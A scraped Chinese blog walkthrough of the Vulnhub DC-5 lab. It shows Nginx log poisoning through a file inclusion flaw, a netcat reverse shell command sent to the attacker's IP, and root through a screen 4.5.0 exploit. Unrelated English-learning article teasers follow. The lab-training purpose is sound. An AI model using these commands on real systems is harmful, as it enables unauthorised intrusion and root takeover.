Vulnhub靶场----5、DC-5
创始人
2024-06-03 20:29:50
0次

文章目录

  • 一、环境搭建
  • 二、渗透流程

一、环境搭建

DC-5下载地址：https://download.vulnhub.com/dc/DC-5.zip
kali：192.168.144.148
DC-5：192.168.144.153

二、渗透流程

1、信息收集 
nmap -T5 -p- -sV -sT -A 192.168.144.15

思路：
开放端口是80、36888
访问web页面：
网站指纹探测、查看页面内容、目录枚举、网页源代码信息泄露；
……

2、探测网站内容

1.访问http://192.168.144.153，点击contact页面

2.burpsuite抓取请求包

3.路径存在文件包含

3、文件包含利用 获取权限

1.利用文件包含写入一句话木马


2.利用文件包含使上传的文件以PHP格式执行
用户输入数据，Nginx日志会记录用户输入，将木马或者命令写入Nginx日志，利用文件包含日志，就可以将用户输入以PHP格式执行

file=/var/log/nginx/error.log&cmd=ls


3.nc 反弹shell

file=/var/log/nginx/error.log&cmd=nc -e /bin/sh 192.168.144.148 4444


4.使用python生成交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'
4、提权

1.查找以root权限运行的组件

find / -perm -4000  2>/dev/null


2.寻找screen 4.5.0相关漏洞

searchsploit screen 4.5.0


3.漏洞利用

将漏洞利用脚本复制到当前目录：

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

将如下内容写入libhax.c中，然后gcc编译:

vim libhax.c 
gcc -fPIC -shared -ldl -o libhax.so libhax.c

将如下内容写入rootshell.c中，然后gcc编译：

vim rootshell.c
gcc -o rootshell rootshell.c

将如下内容写入dc5.sh：

vim dc5.sh


4.获取root权限

将刚刚生成的文件通过蚁剑上传到/tmp目录：

cd /tmp
chmod +x dc5.sh
ls -l
./dc5.sh
cd /root
词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。

上一篇：聚焦证券行业数据安全，全场景方案助力能力提升

下一篇：我们决定随机选个区域直接送钱！！！

相关内容

热门资讯

常用商务英语口语 　　商务英语是以适应职场生活的语言要求为目的，内容涉及到商务活动的方方面面。下面是小编收集的常用商务...
六年级上册英语第一单元练习题 　　一、根据要求写单词。　　1.dry（反义词）__________________　　2.writ...
复活节英文怎么说 复活节英文怎么说?复活节的英语翻译是什么?复活节：Easter;"Easter,anniversar...
2008年北京奥运会主题曲 2008年北京奥运会(第29届夏季奥林匹克运动会)，2008年8月8日到2008年8月24日在中华人...
英语道歉信 英语道歉信15篇　　在日常生活中，道歉信的使用频率越来越高，通过道歉信，我们可以更好地解释事情发生的...
六年级英语专题训练(连词成句... 六年级英语专题训练(连词成句30题)　　1. have,playhouse,many,I,toy,i...
上班迟到情况说明英语 　　每个人都或多或少的迟到过那么几次，因为各种原因，可能生病，可能因为交通堵车，可能是因为天气冷，有...
小学英语教学论文 小学英语教学论文范文　　引导语：英语教育一直都是每个家长所器重的，那么有关小学英语教学论文要怎么写呢...
英语口语学习必看的方法技巧 英语口语学习必看的方法技巧如何才能说流利的英语？ 说外语时，我们主要应做到四件事：理解、回答、提问、...
四级英语作文选:Birth ... 四级英语作文范文选:Birth controlSince the Chinese Governmen...
金融专业英语面试自我介绍 金融专业英语面试自我介绍3篇　　金融专业的学生面试时，面试官要求用英语做自我介绍该怎么说。下面是小编...
我的李老师走了四年级英语日记... 我的李老师走了四年级英语日记带翻译　　我上了五个学期的小学却换了六任老师，李老师是带我们班最长的语文...
小学三年级英语日记带翻译捡玉... 小学三年级英语日记带翻译捡玉米　　今天，我和妈妈去外婆家，外婆家有刚剥的`玉米棒上带有玉米籽，好大的...
七年级英语优秀教学设计 七年级英语优秀教学设计　　作为一位兢兢业业的人民教师，常常要写一份优秀的教学设计，教学设计是把教学原...
我的英语老师作文 我的英语老师作文（通用21篇）　　在日常生活或是工作学习中，大家都有写作文的经历，对作文很是熟悉吧，...
英语老师教学经验总结 英语老师教学经验总结（通用19篇）　　总结是指社会团体、企业单位和个人对某一阶段的学习、工作或其完成...
初一英语暑假作业答案 初一英语暑假作业答案　　英语练习一(基础训练)第一题1.D2.H3.E4.F5.I6.A7.J8.C...
大学生的英语演讲稿 大学生的英语演讲稿范文（精选10篇）　　使用正确的写作思路书写演讲稿会更加事半功倍。在现实社会中，越...
VOA美国之音英语学习网址 VOA美国之音英语学习推荐网址 美国之音网站已经成为语言学习最重要的资源站点，在互联网上还有若干网站...
商务英语期末试卷 Part I Term Translation (20%)Section A: Translate ...